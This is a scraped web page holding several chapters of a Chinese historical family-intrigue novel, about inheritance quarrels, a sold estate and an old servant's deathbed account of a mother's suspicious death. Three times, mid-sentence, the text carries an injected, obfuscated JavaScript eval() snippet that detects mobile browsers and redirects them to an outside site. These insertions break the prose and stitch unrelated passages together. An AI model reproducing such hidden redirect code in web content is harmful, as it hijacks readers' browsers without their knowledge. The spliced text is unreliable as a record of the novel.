这话说得很重,李辰瑜一下子愣住了,便是孙大娘子也愣住了。 第一百一十八章 崔家事发 李辰瑜当场眼泪就下来了,扯着脖子哭着说:“我没有!明明是大哥答不出来,先生才来问我的!” “哎呀,瑜哥儿别哭,别哭……”老夫人刚到,见到李辰瑜哭得脸红脖子粗的,立刻紧张地过来劝。 李辰瑜一看到疼爱自己的祖母,立刻像是找到了靠山一样,抱着祖母嗷嗷大哭,说:“祖母,大哥和父亲冤枉我!” 他年纪尚幼,又是如此激动,倒是叫李珺有些惊疑不定。 可大儿子瞧着也十分憨厚,李珺也不信大儿子会骗人。 如今各执一词,实在是不知道到底是怎么回事。 老夫人问清楚原因,她两个孙儿都心疼,立刻便拍板说:“这有什么好吵的?这事关前程大事,两个都去拜师!账上钱不够我来出!” 她这话一出口,全家人都不好继续说了。 只李辰文眼圈发红,李辰瑜还在哭,李珺想了想,自觉搞清楚情况,便说:“瑜哥儿别哭了,你大哥不是答不出来,他当时是想让你也能在陆大儒面前多露露脸,这也是长兄对你一片照顾之情。” 李辰瑜哭着说:“大哥没说话我才上去回话的,我没抢!” “知道了知道了。”孙大娘子眼见着再争下去,只怕要叫李珺对儿子产生厌恶,立刻便笑着说,“你瞧瞧,不过是件小事,你过不久都要十四了,还随时哭鼻子,若是叫同窗知道岂不是笑话?” 李辰瑜立刻便收了声,不好意思地埋头进老夫人怀里。 他是家里幺子,此刻做出如此情态,老夫人不免笑出声来,说:“看看,可不还是个小孩子!” 李珺登时也觉得幺儿年幼,自然不再苛责,反而也笑出声来,说:“虽读书看着开窍了,却到底是个孩子。” 一家人登时又其乐融融起来。 关怀素冷眼看完这一场风波,心中知道,孙大娘子不会忍下这口气。 她绝对不会允许李辰文污蔑她的宝贝儿子,还踏上这平步青云之路。且多一个人拜师李辰瑜就会多一个对手,大娘子只要找到机会,就绝对不会坐视不管。 而关怀素,当然会给孙大娘子提供机会,叫她找到反击的把柄。 至于崔妙人,她定然会出钱出力为儿子铺路,那么她马上就能知道,她又被家里再卖一次的事情了。 关怀素垂眸想着,脑子里全数都是看好戏的快意。 家宴之后,崔小娘果然就在翻箱倒柜清点自己的家财。 “这些钱不够。”崔小娘翻完,立刻泄气地坐下。 姜妈妈一看,心惊肉跳,连声说:“小娘怎地把压箱底的东西都拿出来了?” “家里给文哥儿备的东西定然一般,文哥儿拜师这事儿还得我这个当娘的给他使使力气。”崔小娘咬牙,轻声说,“无论如何得找一幅黄老的图来,给文哥儿做拜师礼。” “这、这得多少钱?”姜妈妈看了桌上那一堆东西,最少也值一两千两了,不由得倒抽一口凉气,说,“这些还不够?” “一般的也够了,但是想要好一些,还得再加些。”崔小娘跟着李珺,别的不知道,但是对字画的价值却十分了解,估算了一下,咬牙说,“今年的庄子上不知收成有多少,我爹娘这些年肯定也存了些钱,我到时候找他们借一借,为了文哥儿,他们定然也愿意,如此凑一凑,差不多也够了。” 姜妈妈想劝,但是崔小娘却说:“妈妈不用劝我,我这辈子也就指望文哥儿,他若是能拜陆大儒为师,日后何愁钱财?” 姜妈妈想到这里,也觉得说得对,忍不住便说:“也是,反正在家里吃喝也费不了几个钱,庄子上的租子小娘日后把持紧一些,熬几年也松快过来了。” 崔小娘也是这么想的,笑着点头,说:“你去传信回去,叫大哥速速来家里和我商议一下。” 这一去,就出了大事。 李珺得了消息,不可置信地问:“你说什么?崔家把妙人的庄子卖了,全家都跑了?” 李福满身都是汗,他连连点头,说:“崔小娘一大早得知这个消息就昏过去了,宁小娘立刻请了郎中,这会子醒了还痴着,一句话都说不出来。老爷,明儿个二姑娘就回门了,这可怎么办呀!” 李珺立刻便往西院赶过去,还没到就听到自家老娘在破口大骂:“这可是李家的庄子,是留给文哥儿的!你家里居然敢随意发卖了,不行,必须报官!” 李珺听到立刻心中一紧,进门一看,崔小娘面色惨白地躺在床上,老夫人在屋里叫骂,她仿佛跟听不到似的。 “娘,妙人都这样了,您快赶紧别说了!”李珺怕出大事,立刻开口制止,完了不等老夫人多说,立刻叫,“孔妈妈,你赶快扶着老夫人出去,别过了病气!” 老夫人不愿意,对李珺说:“那庄子一年出息几百两,如今有钱都买不到那么好的地方了,我当初就跟她说,这庄子我叫我手底下陪嫁去守着,她非得说给家里人管,你看看,如今倒好,直接管的卖了跑路了!” “问清楚到底什么事儿了没?”李珺见老夫人不肯走,只能先过去安抚地握住崔小娘的手,然后对着李福问。 “她那弟弟去**!输了几把大的,赌坊里说加起来输了只怕有三千多两!”老夫人一出事就来问了,这会子闻言又怒火中烧,说,“他家里娘老子为了给小子儿填债,把她的庄子卖了给抵债了!” 李珺听完,也是心中火烧,那庄子他是心疼崔妙人才给的,但是如老夫人所说,这庄子虽是给了崔小娘,但是其实也是看在文哥儿的份上,其实到头来还是给文哥儿留的。 如今被卖了,崔小娘伤心,他如何又不肉痛? 想到这里,李珺心中恼怒,老夫人又说:“得报官!” “不能报官!”床上的崔小娘哆嗦一下,像是才回魂一般,眼泪直流,说,“老爷,若是报官,文哥儿日后怎么办?!” 李珺也立刻说:“母亲,这不可!” 又不是乡下泥腿子没个顾忌,若是家里出了父母状告长辈这等忤逆不孝之事,李辰文日后只怕科举都不能了! “难道便这么算了不成?!”老夫人却不愿意咽下这口气。 “那去找找他们去了哪里,卖了多少钱。”李珺想清楚,便冷声说,“叫他们吐出来!没得便算了的!” 老夫人愤怒地杵拐杖,恨恨地说: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这一份添妆加起来快两百两,等闲殷实人家嫁女儿都没有这等排场,关键是主子赐的头面都是有钱都买不到的体面东西,也是出嫁后的倚仗。 王妈妈心中格外感动不说,孔妈妈看着也是愈发心里火热。 “儿,下个月你就要出嫁了,大姑娘和别人不一样,是个出手阔绰的。娘这些日子也办了几件漂亮事情,大姑娘应当不会亏待你,再差也与宝丫差不多!”孔妈妈激动得摩拳擦掌,私下对青黛说,“你嫁出去马上拿了钱买地,可千万别乱花。” 青黛也是心中期待,连连点头。 母女二人都十分期待,孔妈妈更是心中愈发起了要狠狠再办几件漂亮事情,给大姑娘效忠的念头。 那老虔婆,伺候一世,也没给她谋来什么体面,哪里抵得上跟着大姑娘,只要办事,都有好处! 如今她屋里还藏着一块金元宝呢,那可是她这辈子老了的倚仗。 想到这里,孔妈妈愈发眼神坚定。 就在这样的气氛里,婉蓉回门的日子到了。 第一百一十九章 婉蓉回门 婉蓉回门穿的格外隆重——满绣百蝶穿花紫色大袖,里头是宫墙红的提花绫齐胸,盘着朝云飞天髻,头戴百蝶穿花镶宝石的金冠,瞧着真是富贵逼人眼,真正是候夫人回门的做派。 她神情志得意满,见到家里人,问安完毕就笑着说:“我一切都好,就是往日在家里有两个姐妹相伴不觉得,如今出嫁之后,侯府后院只得我一个人,偶尔也觉得寂寞。” 而后婉蓉撒娇地笑着说:“父亲,若是无事时,可能叫家里姐妹陪我说话呢?” 这话说的,关怀素心里摇头发笑。 婉蓉显然被侯府富贵和刘仁的一时宠爱弄昏头了,她完全没有意识到,她不是侯府的主人,她不过一个妾室,把她嫁出去之后,李珺绝对不会允许家里姐**去与她说话,更不想叫京师里的人时时想起家里还有这门姻亲。 她估计还想着叫自己和婉淑过去,显摆一下自己的富贵日子,却不知道她的计划本身就十分可笑。 果然李珺放下茶杯,说:“你大姐姐和三妹妹如今都忙着,日后得空再说吧。” 婉蓉不明所以,还想撒娇,李珺却说:“你小娘还在屋里等你呢,你去找你小娘说话吧。” 而因为关怀素原先与刘仁议亲过,虽没过明路,也要避嫌,所以关怀素便不再留在前厅,只说帮着宁小娘安排家宴,先回后院。 婉蓉喜气洋洋地回了西院,本以为能见到欢喜的小娘,却见西院下人都十分安静,心中惊讶,进门之后才发现小娘病恹恹地躺在床上。 “这是怎地了,小娘怎地病得这么严重?”婉蓉一进门就十分惊讶,赶忙到了床边看自家小娘。 “小娘这是心病啊!”姜妈妈这会子看到婉蓉,立刻便把昨儿发生的事情全说了。 “你说什么?小娘的庄子被卖了,家里人都跑了?”婉蓉一听,登时吓得差点魂飞魄散,一时都愣住了。 反应过来立刻着急地说:“这事儿不能这么算了,那庄子可是小娘一辈子的指望啊!” “要不回来了。”崔小娘流泪摇头,说,“怪我,当时我想着爹娘总比老夫人靠得住,为了让他们行事方便,地契等一应东西都放在了爹娘那里,我如何想得到,那可是我亲爹娘啊,竟一声不吭把庄子卖了跑了!” 崔小娘捂脸大哭,她其实除了心疼钱,更为心疼的是自己的爹娘卖了她的事。 婉蓉心疼钱,只问:“那小娘日后可怎么办,父亲可说要给小娘帮衬些?” “老爷才给了个庄子给宁小娘,也没说给咱们小娘贴补什么。”姜妈妈小心地说,“小娘在家里吃用都不费什么,只是她挂心文哥儿拜师的事情,如今受伤的钱全拿出来也不够使唤呢。” 婉蓉问怎么回事,仔细一听,登时大喜,说:“弟弟若是能拜的陆大儒为师,未来未必不成登阁拜相啊!” “是啊,只可恨你舅舅这时候坏了我们的大事,如今我手上钱财搜刮空了也不够,竟是要耽误你弟弟一辈子了!”崔小娘病倒就是为了这事儿,她自个儿受苦她都认了,可是耽搁了儿子的前程,她真的活不下去了! “祖母不是说要帮忙了么?”婉蓉闻言也急了,忍不住说,“祖母那么有钱,便是拿出一些也不费什么吧?!” “你祖母当年是分了许多钱财,可是她那院子花费多大,你又不是不知道。”崔小娘伺候老夫人多年,很是知道老夫人的底细,这会子便跟婉蓉悄悄算起账来,说,“老夫人一日吃饭,最少也要十二道菜,一天饭食都要十两打底。吃穿用度,俱是家里最好的,早些年还好,这几年愈发经营不好,算下来总是入不敷出,若不是你爹孝敬着,只怕也不剩多少。” 婉蓉一听,也立刻想到祖母日常排场十分大,随便赏个东西给自己或是家里小辈,也都是上好的,确实算下来一年到头花费吓人。 “可是祖母答应了帮忙的……”婉蓉咬牙,忍不住着急地说。 “你祖母肯定要帮忙,但是她估计也就买些礼物,若是陆大儒只打算收一个徒弟,同样的资质,你弟弟若是能拿出可心的礼物,自然能占了先机。”崔小娘咬牙恨声说,“孙萍最会经营,她手里有钱,指不定给李辰瑜安排了什么好东西,若你弟弟输了,这一步之差,日后就是天上地下了。” 婉蓉一听,也觉得如此,闻言立刻紧张地说:“那怎么办啊小娘!” “姑娘手上若是凑手,能凑个七八百两,这事儿就能解决了!”姜妈妈听到这里,忍不住就开口说。 婉蓉一下子愣住了。 她第一反应是不愿意,她嫁出去的陪嫁算起来也就将将这个数呢! 她这一犹豫,姜妈妈立刻就说:“二姑娘,您如今身份尴尬,不就是因为家里不顶事么?若是您的亲弟弟拜了陆大儒为师,日后您在侯府也能挺直腰杆不是?” “是啊,蓉儿。”崔小娘抓着婉蓉的手,压低声音说,“听说刘仁在西北是有未婚妻的,指不定什么时候便要回京完婚,你弟弟若是拜的名师,日后侯夫人进门也要敬你三分的!” 婉蓉听到这里,立刻有些被说服了,她捏着帕子,皱眉说:“成,我回去想想办法!” 这事儿终于就这么定下来了,崔小娘得了准信,儿子的拜师礼终于有了指望,登时容光焕发,也不躺在床上了,立刻起身,说:“我去吩咐厨房,给你**吃的,安乐侯喜欢吃什么,一并吩咐下去。” 婉蓉立刻挑着刘仁喜欢的吃食说了,与小娘又说了会话,很快到了家里一起用夕食的时候。 用完夕食,喝茶的时候,婉蓉身边的宝珠便带着下人给家里人呈上礼物。 给家里男儿的都是玉佩,给家里女子的,则都是首饰。 辰文是婉蓉的亲兄弟,拿到的是一枚上好的祥云佩,玉质十分软糯;辰瑜的也是同样,只是料子瞧着比不上辰文那块。 家里女子,崔小娘与孙大娘子都是一串上等的108珠的小叶紫檀串珠,关怀素与婉淑的则都是一只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16416949|181019||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 金环。 关怀素拿起那只金环掂了掂,竟是实心的。 家里众人对这贵重礼物神色各异,关怀素瞧着这礼物应该是刘仁安排的,因为婉蓉看到她和婉淑接过金环的时候,脸上有不舍之色。 无论心里怎么想,这场家宴平顺地结束了,婉蓉临走之前还在笑着对婉淑与关怀素说:“大姐姐、三妹妹,虽我出了阁,但是咱们到底是一家子姐妹,若是得空,也来侯府坐坐,与我说说话。” 关怀素笑而不语,婉淑也笑,婉蓉看她们都不答话,自觉赢了姐妹,心中听说小娘没钱、要掏空自己嫁妆的郁气舒爽开,欢喜地就上了马车,一头就栽倒在刘仁身上,笑着娇嗔说:“往日在家里,我总比不过姐姐妹妹,一个有皇庄、一个有大娘子帮衬,今儿跟着郎君,才叫我终于压过她们一头!” 刘仁喜欢这种娇软风情,心中自觉自豪,便笑着搂住她说话,二人一时还真是十分恩爱不提。 那头李家人都回自个儿屋子,婉淑转身,轻声对关怀素说:“大姐姐,安乐侯府好气派,这一堆礼物,都快百两了吧?” 关怀素点头,轻声说:“怕是不止。” 婉淑便轻声说:“这还是做妾呢,若今日回门是正妻,不知是何等滔天富贵?” 关怀素听出来她有意挑拨自己,她最不喜欢便是婉淑自己受了气,便拐弯抹角喜欢挑拨人替自己出头的性子。 闻言关怀素便转头看她一眼,笑着说:“我便等着三妹妹日后回门礼了。” 安乐侯府大富贵,赵家可比不上,到时候若是她一个正妻回门,只带些缎子鸡鸭,那可真是贻笑大方了。 婉淑闻言,脸色立刻一滞,捏紧了帕子,匆匆走上前去,不搭理关怀素了。 关怀素在后面,面上淡淡带着讥讽。 “三姑娘真爱挑拨人。”柳叶进了后院就小声说,“把别人都当傻子,以为世上就只有她一个是聪明人。” “跟她娘一模一样,一个胚子出来的。”丁妈妈也小声说。 “没事,她也就自己觉得自己聪明,利用人心者,必被人心反噬。”关怀素摇摇头,轻声说,“大姨母告状赢了,父亲罢官,庞文据说要高升回来了,谁能知道这里头的关窍,居然是她的功劳?” “姑娘,咱们把这事儿透给老爷知道?”柳叶眉头一转,轻声说。 “还不急,不是时候。”关怀素笑了笑,轻声说,“留着一起用,才最有效。” “姑娘姑娘!”她们正说着话,小荷看到她们,立刻跑过来,对着关怀素说,“程娘子派人传信来,说叫姑娘明日一早去家里。那妈妈说,姑娘让找的人找到了。” 小荷不知这句话的意思,说完歪着头,一脸茫然问:“传信妈妈说,姑娘听完就知道是什么意思了。” 关怀素心中一惊。 因她拜托姨母找的那人,便是郑妈妈! 当年母亲身边的掌事妈妈,终于被找回来了! 第一百二十章 当年往事 第二日一大早,关怀素就去了县主府,程娘子见到她的时候,立刻叮嘱:“郑妈妈年纪大了,这些年受了许多磋磨,身子很是不好,你一会子见到她,一定要注意不要太激动。” 关怀素大概听了一下,才知道郑妈妈当年吊着一口气出去,因听说伺候过关大儒,是关家的掌事妈妈,才被人买下。 如此辗转被卖到了一个商贾人家,那家人对下人十分心狠,要日夜做工,很快就把郑妈妈的眼睛熬坏了。 她眼睛一不好,就被这商贾人家嫌弃,开始做粗使活计,日日磋磨,等到程娘子派人过去接的时候,郑妈妈已经因为常年劳累生了场大病,被主人家丢出来,扔在城里墙根处等死。 “那、那妈妈如何了?”关怀素听到这里,心中揪紧了。 “昨儿郎中看了,说是、说是真的不好了……”程娘子说到这里,拍拍关怀素的肩膀,说,“她老人家全靠想见着你,才一直挨着,你快进去吧。” 关怀素心中大痛,赶紧进去,一进屋便看到床上躺着个瘦巴巴的老人,看着干瘦的仿佛只剩下一把,满头白发勉强地梳着,稀疏的连发簪都固定不住了,看着瘦的吓人。 关怀素眼圈一下子红了,刚走过去,那老人模糊看到了什么,仿佛某种感应,她颤巍巍地挣扎着想坐起来。 关怀素过去扶着她坐起来,只觉得老人轻的吓人,抱在怀里没有任何重量,像是随时会飘走的浮萍一般。 老人却像是突然有了力气,反手一把抓住关怀素,凑上前眯着眼睛问:“可是婉玉姑娘?” 关怀素一下子眼泪长流,哽咽地说:“我是关素问的女儿,妈妈,这些年你辛苦了。” 郑妈妈一时老泪纵横,抓着关怀素,眯着眼睛细细上下看,一边看一边哭,说:“当年还是个小孩,路都不会走,我抱着只得一丁点大,如今竟都这么大了。” 又哭着说:“是妈妈没用,没护住你,反倒是遭了孙萍和李家那老虔婆的暗算,一院子都遭了难,姑娘这些年不知吃了多少苦,是妈妈对不住你啊!” 说着大哭出声。 关怀素想到姐姐被磋磨这些年,眼泪止不住流,程娘子忙劝:“郑妈妈,你不是说一定要见到姑娘,有极其重要的事情要交代姑娘吗?” “对对!”郑妈妈登时擦干眼泪,抖抖索索地说,“妈妈我、我幸不辱命,出事的那个晚上,我就觉得家里**静了,不太对劲,我当时、当时……” 说着,郑妈妈抖抖索索地,解开了自己衣服。 “妈妈?”关怀素奇怪地问,“您要做什么?” “老先生当初,教了我们一些东西。”郑妈妈像是想到了什么温馨愉快的时光,笑着说,“那天,我便用上了。” 说着,郑妈妈解开衣兜,从里面拿出一个油纸包来,放在关怀素的手上。 “这是什么?”关怀素好奇地问。 “那天我心中疑神疑鬼,又想着李家对我们这些下人多番刁难,甚至还想卖人。我寻思不对劲,只怕出事,便想着,就当我小人之心,我便把娘子的嫁妆单子封起来,涂上娘子易容时做的泥,藏在了身上。”郑妈妈说完,神色复杂地说,“果然那日之后便出事了,这些年我不管在哪里,都带着这个东西,我就想着,一定要把这东西亲手交给姑娘。” “什么!”关怀素登时瞪大眼睛,不可置信。 她以为这东西早被毁坏,居然还被郑妈妈藏了一份! 当日那样生死之际,郑妈妈居然还想着帮姐姐保留这等重要的东西! “妈妈,你……”关怀素心中动容万分,眼前又模糊了。 她想说很多话,可是看着郑妈妈憔悴的脸,不忍地说:“妈妈,你辛苦了,现在到家了,你好好休息,别再替我们操心了。” 说到最后,关怀素已经泪如雨下。 “不、不,老身睡不着。你不知道,老身等了十几年,没日没夜,都在盼望这天,孩子,我不想睡,我想把所有事情都告诉你,妈妈要把当年发生的所有事情,都告诉你。”郑妈妈拉着关怀素的手,激动地说,“李家都不是好人,姑娘,姑娘千万别被他们害了!姑娘一定要知道这些!” “妈妈别担心,你只管说!”关怀素看她激动,立刻说,“我不走,妈妈你慢慢说,你只管说!” 郑妈妈这才冷静下来,而后,她说起了当年一切往事,让关怀素拨开时间的迷雾,终于看到了当年一切的开始…… 却原来,母亲当初与父亲成婚,是两情相悦,还有个重要原因,是当时大长公主与当今争储结束,先皇临终还是选择了当今继位。 并要求大长公主在自己丧事结束之后立刻赶赴西北,无召不得回京。 大长公主抛下幼子与驸马,在丧事之后立刻离京,但是京中说好送过去的粮草,却不知为何一直未曾筹集。 西北寒凉,再耽搁,只怕将士要冻死饿死。 “娘子与陛下和公主一起长大,是同窗,老爷子又擅工学,很是经营了一些产业……咱们娘子心中惦记女兵,又不愿意昔日同窗如此,便出手,给边关运送了一批粮草与新衣。”郑妈妈说到这里,哀痛地叹了口气,说,“姑娘可知道,这种事情一旦开始,便打不住了。” 关怀素当然能理解,她甚至几句话之中,就能推测出当时阿娘的困境——阿娘不忍见大长公主被困死,便出手相助,可是,刚继位位置还没坐稳的当今,难道就能眼看着阿娘如此倒向大长公主? 因此她点点头,说:“陛下得到消息,只怕要不悦了。” 郑妈妈点头,又是难过又是欣慰,说:“姑娘果然冰雪聪明,不愧是老爷亲自教养出来的……” 她叹了口气,说:“虽娘子是隐于幕后,没有叫人坐实,可当今也起了疑心,猜测是关家人手笔。陛下虽然没说什么,毕竟娘子做的事情于朝堂也有益,但是到底让陛下在意。也是因此,陛下露出了要纳了娘子的意思。” 这便是当初关娘子皇妃传言的由来,当今圣人当初确实起了这个心思,可是关素问不愿意被困后宫。 当时关怀远刚好为了证明自己清白辞官,便给关素问建议,收拾一下,与自己一起返乡。 “娘子始终不愿舍弃西北军,她说,若大长公主在,女兵们好歹有个旗帜可依靠,而女兵若在,大长公主实权在握,对女子来说,也是好事。”郑妈妈轻声说,“娘子十分不喜当今继位后对女子卑弱之举,便无论如何都想保住娘子军。” 关怀素瞬间就明白了,叹了口气,轻声说:“我娘当初选择李家,除了与父亲相恋,是否也有从陛下与公主二人之中抽身、却能不离京师运筹帷幄的想法?” 郑妈妈立刻点头,含泪说:“娘子这一招下嫁,显得十分头昏,倒是叫当今一下子打消了许多疑惑,加上公主使了些法子,叫陛下以为是工部的那些人泄露出的方法帮了大长公主,只是娘子帮忙奔走,便没了忌惮之心。” 但是朝堂的压力没了,嫁到了李家,李珺非常好,可李家那老夫人,却隐隐有种让人膈应的感觉。 “老夫人要钱、要吃喝这些,娘子从无不愿意的。可老夫人竟还想着摆老封君的架子,想让咱们娘子日日去跟前站着伺候,先不说娘子在家都没伺候过人,再则娘子私下的事情繁忙,哪能满足?没想到,竟是因为这个事儿,叫崔妙人抓住了时机。”郑妈妈说到这里,已经时隔数年,却依然咬牙切齿,恨声说,“崔妙人当时日日就抓紧时机在老夫人跟前伺候,而后我们便听下人说,崔妙人时常在老夫人面前提起咱们娘子如何富贵,一个首饰够全家花用半年……那都是咱们关家的东西,老夫人却心中恨上了!” 而后老夫人日日找茬,也就算了,关键是在关素问怀孕之后,老夫人抓住机会,悄悄做主,给李珺纳了崔妙人做小。 两人行事鬼祟,关素问本来没发现,直到崔妙人自己开始故意在关素问面前晃悠,找些机会露脸,甚至隐晦地炫耀与李珺的亲密……关素问都还没意识到。 她只是觉得这丫鬟很没有眼力见,加上年纪大了,便打算给她一笔钱,叫她出去嫁人算了。 却没想到,当她这么说之后,旁边伺候的崔妙人一下子跪在地上,哭喊着自己有孕,求娘子放过她! 那时关素问才发现,崔妙人那宽阔衣衫里,已经开始显怀了。 这私下的苟且,才一下子被放在了明面上。 “姑娘不知道,娘子当初嫁与李珺,本就是看在他承诺一生绝不纳妾的誓言上。不然当初京师多少公子,怎能轮到他?”郑妈妈冷笑一声,继而悲愤地说,“咱们娘子也不是那等在后宅计较的,在发现之后,见崔妙人竟也怀了孩子,瞧着月份竟没比娘子小多少,便知道一家人都瞒着她……也就干脆签了和离书,自去了八仙庄养胎。” 李珺当时哭着登门挽回,却被闭门不见,关素问是铁了心要和离。 “却没想到,生产之后,娘子身体很是虚弱,便为了方便,想着回李家休养……”郑妈妈声音痛苦,说出了关怀素不知道的往事。 前头的事情,关怀素都听钟妈妈大致说过,因此她倒是并不十分意外,但是到这里,事情便对不上了。 “妈妈,我娘不是生产之后便下红不止,所以才去世的吗?”关怀素愕然地问。 “不是啊!”郑妈妈也惊讶地说,“谁说的?当初娘子生产之后是十分虚弱,确实也产后落红了一两个月,但是娘子自小身子健壮,养了没多久就好了。闵太医辞官之前还说,娘子照着那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16421384|181019||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 药方吃,定然能好起来的!” “那后来发生了什么事情?”关怀素听着十分惊愕地问。 “后来不知为何,娘子的病一下子就恶化了。突然就落红不止。”郑妈妈说,“当时我们想到闵太医说普通的药材药性不够,娘子还特地叫李珺去王相家里登门求助,求了二十五年以上的五裂黄连根来。” 郑妈妈想到当年,泪如雨下,说,“姑娘不知道,这东西新鲜的不稀罕,但是这么多年的老货,京师都少见,且当时要的实在太急,当时遍寻各大药材店,竟都没有,最后寻到最后两日,娘子才得了消息,说是王丞相府上有。” 王丞相一力主张叫女子回家主持中馈,最恨女子抛头露面,视为不贞。 对于母亲这样会蹴鞠、与男子一起进学的女子,虽无冤无仇,但是应当也是十分不喜的。 这救命的药物,简单登门,那老匹夫肯定不会随意给。 关怀素便问:“难道是王相当日没肯给这药材?” “没有,当日求回来了,事关人命,王丞相愿意给的。”郑妈妈擦了擦眼泪,说,“可不知为何,娘子只喝了一碗参鸡汤,竟就又开始大出血,一下子没止住,根本没等来药材,便撒手人寰了!” 其后郑妈妈所说,与关怀素打听到的消息都一致,只是多了许多细节。 母亲的死,更蹊跷了一些。 “闵叔叔如今在何处,妈妈可知道?”关怀素忍不住问。 郑妈妈说:“闵大人当初辞官之前,只留了药方给娘子,之后就走了,若是他在,当初你娘许还是有救呢!你娘第一回落红不止的时候,也是多亏了他施针救命!” 说到这里,郑妈妈人老成精,立刻问:“姑娘是不是查到了什么?娘子的死难道有问题?” 该说不说,不愧是当初跟着阿娘能进宫面圣的老人家,关怀素一句话,郑妈妈立刻察觉到了不对。 关怀素也不瞒着她,点了点头。 郑妈妈登时呆住了,她愣愣地想了许久,一时竟痴了。 直到关怀素紧张地摇晃她的手臂,郑妈妈才勉强回过神来,说:“是了,当初闵大人走的时候说过,他说你娘应是没问题的,偏不知道为何,过了一个多月,本来止住的落红突然又爆下不止……我们一直以为是产后崩漏复发,可是闵大人行医从不出错漏……” 当初只顾着悲伤,连关娘子自己都觉得许是运道不好。 可是如今想起来,若是这里头真的不对,真的是被人动了手脚的话,那岂不是说明,娘子是被人害死的?! 想到这里,郑妈妈几乎全身都在颤抖,一时脸色如金纸一般,透出下世人的样子。 关怀素看出了不对,立刻紧张地扶着她,连声说:“妈妈你要稳住,我还没查出真相,你可千万不能出事啊!” 郑妈妈一把抓住关怀素,颤声说:“姑娘、姑娘,若是、若是……有什么……你一定要查出来,给你娘报仇!” “好、好!妈妈,你放心,你放心,我一定给我娘报仇!我一定给关家所有冤死的人报仇!”关怀素知道她怕是不好了,登时爆泪不止。 “娘子、娘子,你来了……”郑妈妈突然像是看到了什么熟悉的人,突然露出了慈爱的笑容,对着空中说,“娘子,娘子瞧着气色很好……” 说着,她伸出手,像是握住了什么人的手一般。 而后,郑妈妈的手垂下来,彻底没了生机。 “姑娘、姑娘,郑妈妈走了。”柳叶在旁边含泪对痴住的关怀素说。 “娘!”关怀素看着空中,想象着素未见面的母亲,她哭着喊了一句,而后泪水止不住倾覆而出。 “玉儿!”程娘子看着不对,立刻上前抱住她,而后对着空气说,“素问,你放心带着郑妈妈去,玉儿有我照料呢!我如今翻案了,也是县主,我能照顾好玉儿的!” 柳叶也忙说:“娘子放心,还有我也陪着姑娘呢!” “玉儿,你快跟你娘说,免得她不放心,舍不得走了!”程娘子怕关怀素犯忌讳,毕竟这死魂不回地府,对玉儿也有极大妨碍,登时着急地催。 “娘,你放心,我一定替关家上下报仇!”关怀素哽咽着,对着空气里喊。 一句话说完,窗台上猛地一阵风吹过,窗户被风撞开,蜡烛应声而灭。 程娘子登时松了口气,跌坐在地上,轻声说:“可算是没出事。” 转头看关怀素,叹了口气,温声安慰:“玉儿,你放宽心……玉儿?” 程娘子疑惑地看着关怀素居然冷静下来,拿袖子擦脸。 “我要查清楚阿娘的死因,我要找到闵叔叔。”关怀素眼神锐利地低声说,像是在自言自语,可又像是在发誓。 第一百二十一章 赵白芷设宴 跌宕起伏的一天过去,第二日关怀素从姨母家回去,便听说赵白芷设荷花宴,招待朋友。 “良娣的荷花宴?”关怀素一边脱去外衣,一边问,“请了哪些人?” “请了大姑娘和三姑娘,说是二姑娘那边也会相请,到时候原先闺房之中玩耍的姑娘们都去,京师里同龄的郎君们也下了帖子。”丁妈妈打听得清清楚楚,此刻全部如实复述。 关怀素有些奇怪,皱眉说:“叫这么多人,这是良娣的荷花宴还是太子的荷花宴?” 丁妈妈自然是答不上来的,关怀素便拆去了钗环,换了家里穿戴,舒舒服服地坐下来喝茶,一边想着赵白芷那荷花宴的事情。 “姑娘担心什么呢?不过是个宴会,说不定是良娣想着给未来嫂嫂做脸,毕竟大娘子那事儿闹得实在难看,如今老爷也赋闲,良娣设宴,也是表态。”柳叶看她还是忧心忡忡,便忍不住开口劝慰。 关怀素摇摇头,这事儿不是这样的。 赵白芷贵为良娣,她想给自家未来嫂子撑场面,只需要办个小宴请婉淑过去就是了,只需要稍微这么一表态,婉淑的日子就不会难过。 这也比较符合赵白芷的性格。 办这么大,与赵白芷事事求周全稳重完全不符。 毕竟太子府上还有个太子妃呢,虽常年不怎么出来,但是太子妃到底还是在,良娣摆这么大的架势,未免也会叫人颇有微词。 但是自己在这里想到底是想不出什么结果,关怀素便叫柳叶和丁妈妈明儿个把出席宴会的东西备好,其他的便到时候多看看再说。 她这边倒是没想太多,那边大娘子倒是精神大振,连声说:“好!好!良娣这时候愿意给你做脸,说明这事儿影响不到你的婚事,那我就放心了!” 婉淑也是心中一喜,最近这些日子她真是受够了,才知道原先自己过得多风光。 两人说着话,前头伺候的雪沫来了,一进门就说:“老爷说,三姑娘接下来许有许多人情交际,这里是老爷给三姑娘备的一些银钱,三姑娘只管花用。” 说着,身后的小丫鬟便捧了一匣子过来。点墨接了一打开,里头竟满满一盒子都是银角子银锭子,显是为了方便花用,大小都备好了。 婉淑谢了父亲的礼物,把雪沫送走,便把匣子放在桌上。 